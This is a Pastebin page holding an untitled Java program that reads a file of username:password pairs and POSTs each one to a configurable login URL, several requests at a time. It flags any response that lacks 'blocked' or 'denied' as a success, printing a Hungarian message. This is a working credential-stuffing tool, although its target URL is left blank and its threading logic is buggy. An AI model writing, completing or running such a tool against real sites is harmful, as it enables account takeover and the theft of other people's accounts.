daily pastebin goal
3%
SHARE
TWEET

Untitled

a guest Feb 4th, 2016 83 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package application;
  2.  
  3. import java.io.BufferedReader;
  4. import java.io.DataOutputStream;
  5. import java.io.File;
  6. import java.io.IOException;
  7. import java.io.InputStreamReader;
  8. import java.net.HttpURLConnection;
  9. import java.net.MalformedURLException;
  10. import java.net.URL;
  11. import java.nio.file.Files;
  12.  
  13. public class Application {
  14.     private static final String FILE_NAME = "";
  15.     private static final String URL = "URL";
  16.     private static final String USER_AGENT = "";
  17.     private static final int COUNT_OF_THREADS = 5;
  18.     private static String[] LINES;
  19.  
  20.     public static final void main(String[] args) {
  21.         try {
  22.             LINES = (String[]) Files.readAllLines(new File(FILE_NAME).toPath()).toArray();
  23.             int sizeOfBlock = LINES.length / COUNT_OF_THREADS;
  24.             for (int i = 0; i < sizeOfBlock; i++) {
  25.                 new Application().new MyThread(sizeOfBlock, sizeOfBlock * i).run();
  26.             }
  27.         } catch (IOException e) {
  28.             e.printStackTrace();
  29.         }
  30.     }
  31.     private class MyThread implements Runnable {
  32.         private int startPosition;
  33.         private int endPosition;
  34.  
  35.         public MyThread(int startPosition, int endPosition) {
  36.             this.startPosition = startPosition;
  37.             this.endPosition = endPosition;
  38.         }
  39.  
  40.         @Override
  41.         public void run() {
  42.             for (int i = startPosition; i < endPosition; i++) {
  43.                 try {
  44.                     HttpURLConnection urlConnection = (HttpURLConnection) new URL(URL).openConnection();
  45.                     urlConnection.setRequestMethod("POST");
  46.                     urlConnection.setRequestProperty("User-Agent", USER_AGENT);
  47.                     urlConnection.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
  48.                     String urlParameters = "username=" + LINES[i].split(":")[0] + "&password=" + LINES[i].split(":")[1];
  49.                     urlConnection.setDoOutput(true);
  50.                     DataOutputStream output = new DataOutputStream(urlConnection.getOutputStream());
  51.                     output.writeBytes(urlParameters);
  52.                     output.flush();
  53.                     output.close();
  54.                     BufferedReader input = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  55.                     String inputLine;
  56.                     StringBuffer response = new StringBuffer();
  57.                     while ((inputLine = input.readLine()) != null) {
  58.                         response.append(inputLine);
  59.                     }
  60.                     input.close();
  61.                     if (response.indexOf("blocked") == -1 && response.indexOf("denied") == -1) {
  62.                         System.out.println("itt valami jó volt");
  63.                     }
  64.                 } catch (MalformedURLException e) {
  65.                     e.printStackTrace();
  66.                 } catch (IOException e) {
  67.                     e.printStackTrace();
  68.                 }
  69.             }
  70.         }
  71.     }
  72. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top